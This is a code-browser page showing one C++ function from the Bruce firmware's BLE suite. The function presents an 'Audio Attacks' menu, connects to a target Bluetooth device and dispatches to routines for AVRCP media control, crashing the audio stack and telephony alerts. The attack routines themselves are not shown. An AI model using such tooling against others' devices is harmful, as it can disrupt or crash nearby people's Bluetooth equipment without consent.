MCPcopy Create free account
hub / github.com/BruceDevices/firmware / showAudioSubMenu

Function showAudioSubMenu

src/modules/ble/BLE_Suite.cpp:4262–4299  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

4260}
4261
4262void showAudioSubMenu(NimBLEAddress target) {
4263 const char *options[] = {
4264 "AVRCP Media Control", "Audio Stack Crash", "Telephony Alert Test", "Run All Audio Tests"
4265 };
4266
4267 int choice = showSubMenu("Audio Attacks", options, 4);
4268 if (choice == -1) return;
4269
4270 AudioAttackService audio;
4271
4272 String connectionMethod = "";
4273 NimBLEClient *pClient = attemptConnectionWithStrategies(target, connectionMethod);
4274 if (!pClient) {
4275 showAttackResult(false, "Failed to connect");
4276 return;
4277 }
4278
4279 BLEStateManager::registerClient(pClient);
4280
4281 switch (choice) {
4282 case 0: {
4283 NimBLERemoteService *pService = pClient->getService(NimBLEUUID((uint16_t)0x110E));
4284 if (pService) audio.attackAVRCP(pService);
4285 break;
4286 }
4287 case 1: audio.crashAudioStack(target); break;
4288 case 2: {
4289 NimBLERemoteService *pService = pClient->getService(NimBLEUUID((uint16_t)0x1124));
4290 if (pService) audio.attackTelephony(pService);
4291 break;
4292 }
4293 case 3: audio.findAndAttackAudioServices(pClient); break;
4294 }
4295
4296 pClient->disconnect();
4297 BLEStateManager::unregisterClient(pClient);
4298 NimBLEDevice::deleteClient(pClient);
4299}
4300
4301void showHIDSubMenu(NimBLEAddress target) {
4302 const char *options[] = {

Callers 1

Calls 7

showSubMenuFunction · 0.85
showAttackResultFunction · 0.85
attackAVRCPMethod · 0.80
crashAudioStackMethod · 0.80
attackTelephonyMethod · 0.80

Tested by

no test coverage detected